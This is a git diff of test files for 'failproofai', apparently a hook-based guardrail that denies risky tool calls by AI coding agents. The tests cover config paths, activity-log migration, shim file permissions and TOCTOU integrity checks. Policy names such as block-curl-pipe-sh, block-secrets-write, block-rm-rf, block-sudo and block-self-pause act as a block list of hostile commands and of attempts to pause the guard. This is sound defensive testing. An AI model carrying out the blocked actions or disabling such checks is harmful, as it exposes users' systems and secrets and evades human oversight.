runs against a THROWAWAY `FAILPROOFAI_HOME`. +// +// It did not, and the consequence was a suite that passed in CI and failed on +// the machines of the people developing it. `handler.ts` reads cloud-managed +// policies off disk (`readActiveCloudManagedPolicies`), so a developer with a +// real deployment saw its artifacts arrive as arguments the assertions never +// expected — one failure read +// `["/home/…/cloud-policies/generations/4/block-curl-simple.mjs"]` where the +// test wanted `undefined`. Nothing was broken; the test was reading their +// laptop. +// +// That is worse than a flaky test. CI is green, so the red is only ever seen +// locally, by exactly the people who most need to trust the suite — and the +// lesson it teaches is to ignore it. import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { handleHookEvent } from "../../src/hooks/handler"; +import { mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { handleHookEvent, evaluateHookEvent } from "../../src/hooks/handler"; vi.mock("../../src/hooks/hooks-config", () => ({ readMergedHooksConfig: vi.fn(() => ({ enabledPolicies: ["block-sudo"] })), @@ -81,13 +99,29 @@ describe("hooks/handler", () => { }); } + let scratchHome: string; + const originalHome = process.env.FAILPROOFAI_HOME; + beforeEach(() => { + // Empty and per-test. `handler.ts` resolves cloud-managed policies, the + // activity store and the layout marker from this directory; pointing it at + // a fresh temp dir is what makes the assertions about "no custom policies" + // true by construction rather than by whatever the developer happens to + // have deployed. + scratchHome = mkdtempSync(join(tmpdir(), "fpai-handler-")); + process.env.FAILPROOFAI_HOME = scratchHome; stderrSpy = vi.spyOn(process.stderr, "write").mockImplementation(() => true); stdoutSpy = vi.spyOn(process.stdout, "write").mockImplementation(() => true); vi.clearAllMocks(); }); afterEach(() => { + // Restored rather than deleted: `process.env` is shared across the file, and + // a test that leaves it unset makes the NEXT one read the real home again — + // reintroducing the bug this fixes, intermittently. + if (originalHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = originalHome; + rmSync(scratchHome, { recursive: true, force: true }); vi.restoreAllMocks(); restoreStdin(); }); @@ -263,6 +297,49 @@ describe("hooks/handler", () => { ); }); + it("does not block a deny decision on the telemetry POST when awaitTelemetryFlush is false (regression: warm-worker deny latency)", async () => { + // Caught via a real Docker daemon test: this call used to be + // unconditionally awaited regardless of opts.awaitTelemetryFlush, so + // every deny/instruct decision through the warm worker paid a live + // network round-trip (hundreds of ms, up to sendEvent's 5s abort + // timeout when PostHog is unreachable) before returning — blowing + // through daemon-client.ts's 150ms fail-closed budget on nearly every + // real block. A slow/never-resolving trackHookEvent must not delay + // evaluateHookEvent's return when the caller opts out via + // awaitTelemetryFlush:false (exactly what worker-server.ts passes). + const { evaluatePolicies } = await import("../../src/hooks/policy-evaluator"); + vi.mocked(evaluatePolicies).mockResolvedValueOnce({ + exitCode: 0, + stdout: '{"hookSpecificOutput":{"permissionDecision":"deny"}}', + stderr: "", + policyName: "block-sudo", + reason: "sudo blocked", + decision: "deny", + }); + const { trackHookEvent } = await import("../../src/hooks/hook-telemetry"); + let releaseTelemetry: () => void = () => {}; + vi.mocked(trackHookEvent).mockReturnValueOnce( + new Promise((resolve) => { + releaseTelemetry = () => resolve(undefined); + }), + ); + + const outcomePromise = evaluateHookEvent( + "PreToolUse", + "claude", + JSON.stringify({ tool_name: "Bash" }), + { awaitTelemetryFlush: false }, + ); + const raced = await Promise.race([ + outcomePromise.then(() => "resolved"), + new Promise((resolve) => setTimeout(() => resolve("timed-out"), 50)), + ]); + expect(raced).toBe("resolved"); + + releaseTelemetry(); + await outcomePromise; + }); + it("tags telemetry with cli=copilot when invoked with --cli copilot", async () => { const { evaluatePolicies } = await import("../../src/hooks/policy-evaluator"); vi.mocked(evaluatePolicies).mockResolvedValueOnce({ diff --git a/__tests__/hooks/hook-activity-migration.test.ts b/__tests__/hooks/hook-activity-migration.test.ts new file mode 100644 index 00000000..6c90bf95 --- /dev/null +++ b/__tests__/hooks/hook-activity-migration.test.ts @@ -0,0 +1,197 @@ +/** + * Carrying layout 1's decision log into layout 2. + * + * The reset deleted `cache/` wholesale, and `cache/hook-activity` lives inside + * it — so an upgrade silently discarded every decision the machine had ever + * recorded, which is exactly the data the dashboard's activity tab exists to + * show. + * + * The design rests on ONE property: the collector keys its cursors on + * `(device, inode)`, so a MOVE keeps a page recognisable and a COPY does not. + * Most of this file exists to pin that, because it is invisible in the output — + * a copied log looks identical on disk and re-ships in full. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { + mkdtempSync, + mkdirSync, + writeFileSync, + readFileSync, + existsSync, + readdirSync, + statSync, + rmSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve } from "node:path"; +import { migrateHookActivity, resetHome } from "../../src/hooks/fp-reset"; +import { hookActivityDir, legacy, resettablePaths, cursorsDir } from "../../src/hooks/fp-home"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-actmig-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = prevHome; + rmSync(home, { recursive: true, force: true }); +}); + +/** A layout-1 activity store with the given files. */ +function seedLegacy(files: Record) { + const dir = legacy.hookActivityDir(); + mkdirSync(dir, { recursive: true }); + for (const [name, body] of Object.entries(files)) { + writeFileSync(resolve(dir, name), body, "utf8"); + } + return dir; +} + +const entry = (cmd: string) => + JSON.stringify({ timestamp: 1, eventType: "PreToolUse", toolName: "Bash", decision: "deny", cmd }) + "\n"; + +describe("carrying the log across", () => { + it("moves every page into the layout-2 directory", () => { + seedLegacy({ + "page-1000-0.jsonl": entry("a"), + "page-1000-1.jsonl": entry("b"), + "current.jsonl": entry("c"), + }); + + const moved = migrateHookActivity(); + + expect(moved).toHaveLength(3); + const landed = readdirSync(hookActivityDir()); + expect(landed).toHaveLength(3); + // Nothing is left behind to be deleted later. + expect(readdirSync(legacy.hookActivityDir()).filter((f) => f.endsWith(".jsonl"))).toEqual([]); + }); + + it("PRESERVES THE INODE, which is what stops a re-ship", () => { + // The cursor store keys on (device, inode). A copy would pass every other + // assertion in this file and still re-ship the entire log. + const dir = seedLegacy({ "page-1000-0.jsonl": entry("a") }); + const before = statSync(resolve(dir, "page-1000-0.jsonl")); + + migrateHookActivity(); + + const after = statSync(resolve(hookActivityDir(), "page-1000-0.jsonl")); + expect(after.ino).toBe(before.ino); + expect(after.dev).toBe(before.dev); + }); + + it("keeps the records byte-for-byte", () => { + const body = entry("a") + entry("b"); + seedLegacy({ "page-1000-0.jsonl": body }); + + migrateHookActivity(); + + expect(readFileSync(resolve(hookActivityDir(), "page-1000-0.jsonl"), "utf8")).toBe(body); + }); + + it("renames the legacy `current.jsonl` to a page", () => { + // The destination has its own `current.jsonl`, possibly mid-write. A + // rotated page is what the store itself would have made of it. + seedLegacy({ "current.jsonl": entry("legacy-current") }); + mkdirSync(hookActivityDir(), { recursive: true }); + writeFileSync(resolve(hookActivityDir(), "current.jsonl"), entry("live"), "utf8"); + + migrateHookActivity(); + + // The live file is untouched… + expect(readFileSync(resolve(hookActivityDir(), "current.jsonl"), "utf8")).toContain("live"); + // …and the legacy one survived under a page name. + const pages = readdirSync(hookActivityDir()).filter((f) => f.startsWith("page-")); + expect(pages).toHaveLength(1); + expect(readFileSync(resolve(hookActivityDir(), pages[0]), "utf8")).toContain("legacy-current"); + }); + + it("never overwrites a same-named page", () => { + // Two layouts can independently produce `page--.jsonl` with the + // same name. Losing either file is worse than an unfamiliar filename. + seedLegacy({ "page-1000-0.jsonl": entry("from-legacy") }); + mkdirSync(hookActivityDir(), { recursive: true }); + writeFileSync(resolve(hookActivityDir(), "page-1000-0.jsonl"), entry("already-here"), "utf8"); + + migrateHookActivity(); + + const bodies = readdirSync(hookActivityDir()).map((f) => + readFileSync(resolve(hookActivityDir(), f), "utf8"), + ); + expect(bodies.some((b) => b.includes("already-here"))).toBe(true); + expect(bodies.some((b) => b.includes("from-legacy"))).toBe(true); + }); + + it("drops derived counters rather than inventing a merged number", () => { + seedLegacy({ + "page-1000-0.jsonl": entry("a"), + "current.count": "7", + "stats.json": JSON.stringify({ total: 7 }), + }); + + const moved = migrateHookActivity(); + + expect(moved.every((n) => n.endsWith(".jsonl"))).toBe(true); + expect(existsSync(resolve(hookActivityDir(), "current.count"))).toBe(false); + expect(existsSync(resolve(hookActivityDir(), "stats.json"))).toBe(false); + }); + + it("is a no-op with nothing to carry", () => { + expect(migrateHookActivity()).toEqual([]); + seedLegacy({}); + expect(migrateHookActivity()).toEqual([]); + }); +}); + +describe("the reset no longer destroys what it just moved", () => { + it("keeps the carried log through a full reset", () => { + // The bug this pins: `hookActivityDir()` was in `resettablePaths()`, and + // the reset runs that list AFTER the migrations — so the log was moved and + // then deleted moments later. + seedLegacy({ "page-1000-0.jsonl": entry("survive-me") }); + + const outcome = resetHome(1); + + expect(outcome.activity).toHaveLength(1); + const bodies = readdirSync(hookActivityDir()).map((f) => + readFileSync(resolve(hookActivityDir(), f), "utf8"), + ); + expect(bodies.some((b) => b.includes("survive-me"))).toBe(true); + }); + + it("keeps the cursors, without which the carried log re-ships anyway", () => { + mkdirSync(cursorsDir(), { recursive: true }); + writeFileSync(resolve(cursorsDir(), "hooks.json"), '{"files":[]}', "utf8"); + + resetHome(1); + + expect(existsSync(resolve(cursorsDir(), "hooks.json"))).toBe(true); + }); + + it("still clears the rest of layout 1's cache", () => { + // `cache/` is no longer deleted wholesale, so its other children have to be + // named individually or they silently outlive the reset. + mkdirSync(legacy.auditCacheDir(), { recursive: true }); + writeFileSync(resolve(legacy.auditCacheDir(), "x.json"), "{}", "utf8"); + mkdirSync(resolve(home, "cache"), { recursive: true }); + writeFileSync(legacy.codexSessionPaths(), "{}", "utf8"); + + resetHome(1); + + expect(existsSync(legacy.auditCacheDir())).toBe(false); + expect(existsSync(legacy.codexSessionPaths())).toBe(false); + }); + + it("no longer lists the activity directory or the cursors as resettable", () => { + const paths = resettablePaths(); + expect(paths).not.toContain(hookActivityDir()); + expect(paths).not.toContain(cursorsDir()); + // …and still lists something, so a bad edit cannot empty the list silently. + expect(paths.length).toBeGreaterThan(10); + }); +}); diff --git a/__tests__/hooks/hooks-config.test.ts b/__tests__/hooks/hooks-config.test.ts index 64d77748..2c033878 100644 --- a/__tests__/hooks/hooks-config.test.ts +++ b/__tests__/hooks/hooks-config.test.ts @@ -3,6 +3,7 @@ import { describe, it, expect, vi, beforeEach } from "vitest"; import { readFileSync, writeFileSync, existsSync, mkdirSync, statSync } from "node:fs"; import { resolve, dirname } from "node:path"; import { homedir } from "node:os"; +import { globalPolicyConfigFile } from "../../src/hooks/fp-home"; vi.mock("node:fs", () => ({ readFileSync: vi.fn(), @@ -14,7 +15,7 @@ vi.mock("node:fs", () => ({ }), })); -const CONFIG_PATH = resolve(homedir(), ".failproofai", "policies-config.json"); +const CONFIG_PATH = globalPolicyConfigFile(); describe("hooks/hooks-config", () => { beforeEach(() => { @@ -76,7 +77,7 @@ describe("hooks/hooks-config", () => { const CWD = "/tmp/test-project"; const projectPath = resolve(CWD, ".failproofai", "policies-config.json"); const localPath = resolve(CWD, ".failproofai", "policies-config.local.json"); - const globalPath = resolve(homedir(), ".failproofai", "policies-config.json"); + const globalPath = globalPolicyConfigFile(); function mockFiles(files: Record): void { vi.mocked(existsSync).mockImplementation((p) => String(p) in files); @@ -283,7 +284,7 @@ describe("hooks/hooks-config", () => { }); it("falls through to global when no .failproofai exists in any parent", async () => { - const globalPath = resolve(homedir(), ".failproofai", "policies-config.json"); + const globalPath = globalPolicyConfigFile(); mockFilesWithDirs({ [globalPath]: { enabledPolicies: ["block-rm-rf"] }, }); @@ -294,7 +295,7 @@ describe("hooks/hooks-config", () => { }); it("does not pick up ~/.failproofai (the global dir) as a project root", async () => { - const globalPath = resolve(homedir(), ".failproofai", "policies-config.json"); + const globalPath = globalPolicyConfigFile(); mockFilesWithDirs({ [globalPath]: { enabledPolicies: ["sanitize-jwt"] }, }); @@ -381,7 +382,7 @@ describe("hooks/hooks-config", () => { it("returns global path for user scope", async () => { const { getConfigPathForScope } = await import("../../src/hooks/hooks-config"); expect(getConfigPathForScope("user")).toBe( - resolve(homedir(), ".failproofai", "policies-config.json"), + globalPolicyConfigFile(), ); }); @@ -421,7 +422,7 @@ describe("hooks/hooks-config", () => { }); it("reads from user scope (global path)", async () => { - const globalPath = resolve(homedir(), ".failproofai", "policies-config.json"); + const globalPath = globalPolicyConfigFile(); vi.mocked(existsSync).mockImplementation((p) => String(p) === globalPath); vi.mocked(readFileSync).mockImplementation((p) => { if (String(p) === globalPath) return JSON.stringify({ enabledPolicies: ["sanitize-jwt"] }); @@ -456,7 +457,7 @@ describe("hooks/hooks-config", () => { const { writeScopedHooksConfig } = await import("../../src/hooks/hooks-config"); writeScopedHooksConfig({ enabledPolicies: ["sanitize-jwt"] }, "user"); const [path] = vi.mocked(writeFileSync).mock.calls[0]; - expect(path).toBe(resolve(homedir(), ".failproofai", "policies-config.json")); + expect(path).toBe(globalPolicyConfigFile()); }); it("creates directory if it does not exist", async () => { diff --git a/__tests__/hooks/install-prompt.test.ts b/__tests__/hooks/install-prompt.test.ts index e6de55f8..5f848377 100644 --- a/__tests__/hooks/install-prompt.test.ts +++ b/__tests__/hooks/install-prompt.test.ts @@ -30,10 +30,11 @@ describe("hooks/install-prompt", () => { expect(selected).toContain("block-curl-pipe-sh"); expect(selected).toContain("block-push-master"); expect(selected).toContain("block-failproofai-commands"); + expect(selected).toContain("block-self-pause"); expect(selected).not.toContain("block-rm-rf"); expect(selected).not.toContain("block-force-push"); expect(selected).not.toContain("block-secrets-write"); - expect(selected).toHaveLength(11); + expect(selected).toHaveLength(12); }); it("returns preSelected when stdin is not a TTY and preSelected is provided", async () => { diff --git a/__tests__/hooks/list-convention-column.test.ts b/__tests__/hooks/list-convention-column.test.ts index cfd47eb7..b55bec6f 100644 --- a/__tests__/hooks/list-convention-column.test.ts +++ b/__tests__/hooks/list-convention-column.test.ts @@ -15,6 +15,7 @@ import { tmpdir } from "node:os"; import { join } from "node:path"; import { listHooks } from "@/src/hooks/manager"; +import { customPoliciesDir } from "../../src/hooks/fp-home"; const LONG_NAME = "enforce-bengaluru-event-links-policies.mjs"; const SHORT_NAME = "team-policies.mjs"; @@ -100,18 +101,26 @@ describe("listHooks — convention policy column width", () => { // and the ESM cache short-circuits `customPolicies.add`, so // `loadCustomHooks` legitimately returns 0 hooks. Reported from a live // install where four working policies all showed ✗. - it("lists a shared project/user directory once, without a phantom load failure", async () => { + it("cannot double-list from $HOME any more — the two dirs are now distinct", async () => { + // The original defect: run from $HOME and both scopes resolved to the SAME + // /.failproofai/policies, so every file printed twice and the second + // pass rendered as "failed to load" (the ESM cache short-circuits + // customPolicies.add, so loadCustomHooks legitimately returns 0 hooks). + // + // Layout 2 removes the collision by construction: user convention policies + // live in policies/custom-policies/, project ones in /.failproofai/ + // policies/. They can no longer be the same path, whatever the cwd. The + // dedup logic still exists for other cases; this asserts the shape that + // made it necessary is gone. + expect(customPoliciesDir(tmp)).not.toBe(join(tmp, ".failproofai", "policies")); + seed({ [SHORT_NAME]: policySource("team-rule") }); - // cwd === HOME: both scopes resolve to /.failproofai/policies. vi.stubEnv("HOME", tmp); vi.stubEnv("USERPROFILE", tmp); await listHooks(tmp); - const headers = lines.filter((l) => l.includes("Convention Policies")); - expect(headers).toHaveLength(1); - expect(headers[0]).toContain("Project + User"); - + // The regression that mattered: one row per file, never "failed to load". const rows = lines.filter((l) => l.includes(SHORT_NAME)); expect(rows).toHaveLength(1); expect(rows.join("\n")).not.toContain("failed to load"); diff --git a/__tests__/hooks/loader-shim-location.test.ts b/__tests__/hooks/loader-shim-location.test.ts new file mode 100644 index 00000000..380b7e5b --- /dev/null +++ b/__tests__/hooks/loader-shim-location.test.ts @@ -0,0 +1,148 @@ +// @vitest-environment node +// +// The ESM shim used to be written beside the installed package's `dist/index.js`. +// That directory belongs to whoever installed failproofai, and on a system-wide +// install (`sudo npm i -g`, a container image, a shared build host, a CI runner) +// it is root-owned — so every NON-ROOT user running a hook failed with EACCES, +// the policy never loaded, and the hook exited 0. +// +// The shape of that failure is why this test exists rather than a comment: +// builtin policies kept firing while cloud-managed and custom policies silently +// stopped, so the machine looked protected — denies appeared, the dashboard +// showed activity — while the organisation's actual policy did nothing. It +// failed OPEN, and the only signal was one line on stderr. +// +// These use the REAL filesystem. A mocked `fs` would happily "write" to a +// root-owned path and prove nothing about the bug. + +import { describe, it, expect, afterEach, beforeEach } from "vitest"; +import { mkdtempSync, rmSync, mkdirSync, chmodSync, existsSync, readFileSync, writeFileSync, statSync } from "fs"; +import { tmpdir } from "os"; +import { join, resolve, sep } from "path"; +import { randomUUID } from "crypto"; + +import { createEsmShim, TMP_SUFFIX } from "../../src/hooks/loader-utils"; + +let home: string; +let pkg: string; +const originalHome = process.env.FAILPROOFAI_HOME; + +beforeEach(() => { + home = mkdtempSync(join(tmpdir(), "fpai-shim-home-")); + pkg = mkdtempSync(join(tmpdir(), "fpai-shim-pkg-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (originalHome === undefined) delete process.env.FAILPROOFAI_HOME; + else process.env.FAILPROOFAI_HOME = originalHome; + // Restore write permission before cleanup, or rmSync cannot descend. + for (const d of [join(pkg, "dist"), pkg]) { + try { + chmodSync(d, 0o755); + } catch { + /* absent or already writable */ + } + } + rmSync(home, { recursive: true, force: true }); + rmSync(pkg, { recursive: true, force: true }); +}); + +describe("hooks/loader-utils — ESM shim location", () => { + it("writes the shim into the user's own state dir, never into the package", async () => { + const distDir = join(pkg, "dist"); + mkdirSync(distDir, { recursive: true }); + const distIndex = join(distDir, "index.js"); + + const { shimPath } = await createEsmShim(distIndex, `file://${distIndex}`, TMP_SUFFIX); + + expect(shimPath.startsWith(resolve(home) + sep)).toBe(true); + expect(shimPath).toContain(join("state", "shims")); + // The specific regression: nothing may be written next to dist/index.js. + expect(shimPath.startsWith(distDir)).toBe(false); + expect(existsSync(shimPath)).toBe(true); + }); + + it("succeeds when the package directory is NOT writable — the actual bug", async () => { + // Exactly the system-wide-install shape: the package tree exists and is + // readable, but the user running the hook cannot write to it. + const distDir = join(pkg, "dist"); + mkdirSync(distDir, { recursive: true }); + const distIndex = join(distDir, "index.js"); + // The dist DIRECTORY is what must be unwritable — that is where the old + // code tried to write. Making only its parent read-only proves nothing. + chmodSync(distDir, 0o555); + + const { shimPath, shimUrl } = await createEsmShim(distIndex, `file://${distIndex}`, TMP_SUFFIX); + + expect(existsSync(shimPath)).toBe(true); + expect(shimUrl.startsWith("file://")).toBe(true); + // And it re-exports from the absolute dist URL, so its own location is free. + expect(readFileSync(shimPath, "utf-8")).toContain(distIndex); + }); + + it("keeps the shim path normalisable, so the module cache still hits", async () => { + // `fingerprintTemporaryTree` hashes temp paths after replacing the + // per-invocation suffix (pid + load sequence) with the constant TMP_SUFFIX. + // A shim name that did not carry that suffix — a random uuid, say — would + // differ on every load, miss the cache every time, and put a cold module + // load on the hottest path in the product. + const distIndex = join(pkg, "dist-index.js"); + const a = await createEsmShim(distIndex, `file://${distIndex}`, `${TMP_SUFFIX}.111.1.mjs`); + const b = await createEsmShim(distIndex, `file://${distIndex}`, `${TMP_SUFFIX}.222.7.mjs`); + + expect(a.shimPath).not.toBe(b.shimPath); // concurrent processes must not collide + expect(a.shimPath.replaceAll(`${TMP_SUFFIX}.111.1.mjs`, TMP_SUFFIX)).toBe( + b.shimPath.replaceAll(`${TMP_SUFFIX}.222.7.mjs`, TMP_SUFFIX), + ); + }); + + it("falls back to the OS temp dir when the home cannot hold a shim", async () => { + // A REGULAR FILE as a path component: mkdir then fails ENOTDIR on every + // platform. (A NUL byte does not work here — assigning it to process.env + // truncates the value, so the primary path quietly succeeds and the test + // asserts nothing about the branch it is named for.) + const notADir = join(pkg, "regular-file"); + writeFileSync(notADir, "x"); + process.env.FAILPROOFAI_HOME = join(notADir, "sub"); + const distIndex = join(pkg, "dist-index.js"); + + const { shimPath } = await createEsmShim(distIndex, `file://${distIndex}`, `${TMP_SUFFIX}.9.9.${randomUUID()}.mjs`); + + expect(shimPath.startsWith(resolve(tmpdir()))).toBe(true); + expect(existsSync(shimPath)).toBe(true); + expect(readFileSync(shimPath, "utf-8")).toContain("export const deny"); + rmSync(shimPath, { force: true }); + }); + + it.skipIf(process.getuid?.() === 0)( + "recovers when state/shims already exists but is NOT writable", + async () => { + // The shape a container bakes in: an entrypoint runs the CLI as root, + // which creates state/shims, then the image drops to a non-root USER. + // mkdir(recursive) RESOLVES on an existing directory whatever its mode, + // so a guard around only the mkdir would sail through and then throw + // EACCES on the write — reproducing the very fail-open being fixed. + const shims = join(home, "state", "shims"); + mkdirSync(shims, { recursive: true }); + chmodSync(shims, 0o555); + const distIndex = join(pkg, "dist-index.js"); + + const { shimPath } = await createEsmShim(distIndex, `file://${distIndex}`, `${TMP_SUFFIX}.5.5.${randomUUID()}.mjs`); + + expect(existsSync(shimPath)).toBe(true); + expect(shimPath.startsWith(resolve(tmpdir()))).toBe(true); // degraded, but it LOADED + rmSync(shimPath, { force: true }); + chmodSync(shims, 0o700); + }, + ); + + it("writes the shim owner-only, never world-writable", async () => { + // Unset mode is 0666 & ~umask, and `umask 000` is routine in containers — + // on the fallback that is a world-writable file in shared /tmp that this + // process then imports. + const distIndex = join(pkg, "dist-index.js"); + const { shimPath } = await createEsmShim(distIndex, `file://${distIndex}`, TMP_SUFFIX); + expect(statSync(shimPath).mode & 0o077).toBe(0); + }); +}); diff --git a/__tests__/hooks/loader-tmp-artifacts.test.ts b/__tests__/hooks/loader-tmp-artifacts.test.ts new file mode 100644 index 00000000..5d7b0b75 --- /dev/null +++ b/__tests__/hooks/loader-tmp-artifacts.test.ts @@ -0,0 +1,79 @@ +// @vitest-environment node +/** + * The generated temporary tree, and why it must not accumulate. + * + * `rewriteFileTree` writes beside the user's sources — the only place a + * rewritten relative import still resolves. That was harmless while the + * generated name was fixed (`.__failproofai_tmp__.mjs`): an abnormally + * terminated hook left at most one stale file per source, and the next load + * overwrote it. The name now carries a pid and a sequence number (needed + * because Bun ignores a query-string cache buster, so a warm worker would + * otherwise reuse the first module forever), which means every kill — a CLI + * hook timeout, a Ctrl-C — leaks one uniquely-named file permanently, beside + * the user's policies and inside the installed package's `dist/`. + * + * Separate from `loader-utils.test.ts` because that file mocks `fs/promises` + * wholesale, and these assertions are about real files on a real disk. + */ +import { describe, it, expect } from "vitest"; +import { existsSync, mkdtempSync, rmSync, utimesSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { TMP_SUFFIX, isTmpArtifact, sweepStaleTmpArtifacts } from "../../src/hooks/loader-utils"; +import { findSkippedPolicyFiles } from "../../src/hooks/custom-hooks-loader"; + +describe("generated temporary files", () => { + it("recognises its own generated files whatever the pid and sequence", () => { + expect(isTmpArtifact(`my-policies.mjs${TMP_SUFFIX}`)).toBe(true); + expect(isTmpArtifact("my-policies.mjs.__failproofai_tmp__.12345.7.mjs")).toBe(true); + // …and never a file the user wrote. + expect(isTmpArtifact("my-policies.mjs")).toBe(false); + expect(isTmpArtifact("block-foo.mjs")).toBe(false); + expect(isTmpArtifact("failproofai_tmp.mjs")).toBe(false); + }); + + it("is never reported back to the user as a policy file that will not load", () => { + // `findSkippedPolicyFiles` matches any loadable extension that misses the + // `*policies.{js,mjs,ts}` convention — which every generated file does. So + // each leftover became a warning accusing the user of misnaming a file + // failproofai wrote itself. + const dir = mkdtempSync(join(tmpdir(), "fpai-skipped-")); + writeFileSync(join(dir, "block-foo.mjs"), ""); + writeFileSync(join(dir, "my-policies.mjs.__failproofai_tmp__.123.1.mjs"), ""); + writeFileSync(join(dir, "my-policies.mjs"), ""); + + // Only the genuinely misnamed user file. + expect(findSkippedPolicyFiles(dir)).toEqual(["block-foo.mjs"]); + + rmSync(dir, { recursive: true, force: true }); + }); + + it("sweeps stale leftovers but never a tree another load is still importing", async () => { + const dir = mkdtempSync(join(tmpdir(), "fpai-sweep-")); + const stale = join(dir, "a-policies.mjs.__failproofai_tmp__.999.1.mjs"); + const fresh = join(dir, "b-policies.mjs.__failproofai_tmp__.1000.1.mjs"); + const authored = join(dir, "a-policies.mjs"); + for (const f of [stale, fresh, authored]) writeFileSync(f, "export default 1;\n"); + + const now = Date.now(); + // The stale one predates any load that could still be running. The fresh + // one may belong to a process mid-`import()` right now, and deleting it + // would break a load that was going to succeed. + const old = new Date(now - 10 * 60_000); + utimesSync(stale, old, old); + + expect(await sweepStaleTmpArtifacts(dir, now)).toBe(1); + + expect(existsSync(stale)).toBe(false); + expect(existsSync(fresh)).toBe(true); + expect(existsSync(authored)).toBe(true); + + rmSync(dir, { recursive: true, force: true }); + }); + + it("does not throw on a directory it cannot read", async () => { + // Runs on the hook path; tidying up is never worth failing an evaluation. + await expect(sweepStaleTmpArtifacts(join(tmpdir(), "fpai-does-not-exist"))).resolves.toBe(0); + }); +}); diff --git a/__tests__/hooks/loader-toctou.test.ts b/__tests__/hooks/loader-toctou.test.ts new file mode 100644 index 00000000..5dcd4f6d --- /dev/null +++ b/__tests__/hooks/loader-toctou.test.ts @@ -0,0 +1,62 @@ +// @vitest-environment node +// +// Regression test for the load-time integrity re-verification that closes the +// TOCTOU between hashing a cloud-managed policy file and importing it. Uses REAL +// temp files (not the fs mock the sibling loader-utils.test.ts installs) because +// the whole point is that the bytes on disk at read-for-import time are the ones +// checked. +import { describe, it, expect, afterEach } from "vitest"; +import { mkdtemp, writeFile, rm, readFile } from "fs/promises"; +import { tmpdir } from "os"; +import { join } from "path"; +import { createHash } from "crypto"; +import { rewriteFileTree } from "../../src/hooks/loader-utils"; + +const sha = (s: string) => createHash("sha256").update(Buffer.from(s, "utf-8")).digest("hex"); + +describe("rewriteFileTree entry integrity re-verification", () => { + const dirs: string[] = []; + afterEach(async () => { + for (const d of dirs) await rm(d, { recursive: true, force: true }); + dirs.length = 0; + }); + async function scratch() { + const d = await mkdtemp(join(tmpdir(), "toctou-")); + dirs.push(d); + return d; + } + + it("passes when the file still matches the pinned digest, and the rewritten entry derives from those bytes", async () => { + const dir = await scratch(); + const entry = join(dir, "policy.mjs"); + const source = "export const x = 1;\n"; + await writeFile(entry, source, "utf-8"); + + const tmp = await rewriteFileTree(entry, null, null, ".tmp.mjs", sha(source)); + expect(tmp.length).toBeGreaterThan(0); + // The temp file that actually gets imported carries the verified content. + expect(await readFile(entry + ".tmp.mjs", "utf-8")).toContain("export const x = 1"); + }); + + it("refuses when the file was swapped after the digest was pinned — the exact TOCTOU an attacker exploits", async () => { + const dir = await scratch(); + const entry = join(dir, "policy.mjs"); + // The digest is pinned to the genuine, verified bytes... + const pinned = sha("export const good = 1;\n"); + // ...but a same-user attacker has since replaced the file on disk. + await writeFile(entry, "throw new Error('pwned');\n", "utf-8"); + + await expect(rewriteFileTree(entry, null, null, ".tmp.mjs", pinned)).rejects.toThrow( + /integrity re-verification/, + ); + }); + + it("does not verify when no digest is passed — ordinary (non-cloud) custom policies are unaffected", async () => { + const dir = await scratch(); + const entry = join(dir, "policy.mjs"); + await writeFile(entry, "export const y = 2;\n", "utf-8"); + + const tmp = await rewriteFileTree(entry, null, null, ".tmp.mjs"); + expect(tmp.length).toBeGreaterThan(0); + }); +}); diff --git a/__tests__/hooks/manager.test.ts b/__tests__/hooks/manager.test.ts index 04e5cd45..9e3fd7ec 100644 --- a/__tests__/hooks/manager.test.ts +++ b/__tests__/hooks/manager.test.ts @@ -4,6 +4,7 @@ import { readFileSync, writeFileSync, existsSync } from "node:fs"; import { execSync } from "node:child_process"; import { resolve } from "node:path"; import { homedir } from "node:os"; +import { globalPolicyConfigFile } from "../../src/hooks/fp-home"; vi.mock("node:fs", () => ({ readFileSync: vi.fn(), @@ -35,7 +36,7 @@ vi.mock("../../src/hooks/hooks-config", () => ({ readScopedHooksConfig: vi.fn(() => ({ enabledPolicies: [] })), writeScopedHooksConfig: vi.fn(), getConfigPathForScope: vi.fn((scope: string, cwd?: string) => { - if (scope === "user") return resolve(homedir(), ".failproofai", "policies-config.json"); + if (scope === "user") return globalPolicyConfigFile(); if (scope === "local") return `${cwd ?? process.cwd()}/.failproofai/policies-config.local.json`; return `${cwd ?? process.cwd()}/.failproofai/policies-config.json`; }), diff --git a/__tests__/hooks/onboarding-attempt.test.ts b/__tests__/hooks/onboarding-attempt.test.ts new file mode 100644 index 00000000..726c3cd9 --- /dev/null +++ b/__tests__/hooks/onboarding-attempt.test.ts @@ -0,0 +1,237 @@ +/** + * Remembering why setup stopped, so it stops relaunching on every command. + * + * The bug: every abort path writes NOTHING (deliberately — a half-configured + * machine with `daemonConfigured` set and no daemon denies every tool call), so + * "never tried" and "tried and could not finish" were indistinguishable. On a + * box without passwordless sudo the wizard reopened on every single command. + */ +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import { mkdtempSync, rmSync, writeFileSync, existsSync, mkdirSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { resolve, dirname } from "node:path"; +import { + attemptHintLines, + blockerCleared, + clearOnboardingAttempt, + readOnboardingAttempt, + recordOnboardingAttempt, + type OnboardingAttempt, + type RetryProbe, +} from "../../src/hooks/onboarding-attempt"; +import { onboardingAttemptFile } from "../../src/hooks/fp-home"; +import { isConfigured, detectSetupState } from "../../src/hooks/setup-state"; + +let home: string; +let prevHome: string | undefined; + +beforeEach(() => { + prevHome = process.env.FAILPROOFAI_HOME; + home = mkdtempSync(resolve(tmpdir(), "fpai-attempt-")); + process.env.FAILPROOFAI_HOME = home; +}); + +afterEach(() => { + if (prevHome === undefined) delete process.env.FAILPROOFAI_HOME; + else 